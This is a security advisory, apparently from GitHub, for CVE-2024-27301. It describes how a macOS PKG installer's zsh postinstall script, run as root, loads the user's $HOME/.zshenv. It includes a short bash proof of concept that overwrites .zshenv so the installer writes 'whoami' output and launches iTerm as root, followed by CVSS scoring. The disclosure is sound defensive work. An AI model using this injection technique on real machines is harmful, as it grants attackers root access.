Skip to content

Privilege Escalation Abusing installer

High
jordywitteman published GHSA-jr78-247f-rhqc Mar 14, 2024

Package

PKG installer (zsh)

Affected versions

> 2.3.1

Patched versions

2.5.2

Description

Summary

It's possible to abuse a vulnerability inside the postinstall installer script to make the installer execute arbitrary code as root.

Details

The cause of the vulnerability is the fact that the shebang #!/bin/zsh is being used. When the installer is executed it asks for the users password to be executed as root. However, it'll still be using the $HOME of the user and therefore loading the file $HOME/.zshenv when the postinstall script is executed.
An attacker could add malicious code to $HOME/.zshenv and it will be executed when the app is installed.

PoC

The following script will add some "malicious" code to $HOME/.zshenv:

#!/bin/bash

# Prepare the execution of the payload
cp "$HOME/.zshenv" "$HOME/.zshenv.old"
cat > "$HOME/.zshenv" << EOF
if [[ \$EUID -eq 0 ]]; then
    whoami > /tmp/whoami
    /Applications/iTerm.app/Contents/MacOS/iTerm2 &
fi

EOF   

Then just execute the installer and you should find the file /tmp/whoami with the content root and an iTerm shell executed as root.

Impact

Privilege escalation to root.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CVE ID

CVE-2024-27301

Weaknesses

No CWEs

Credits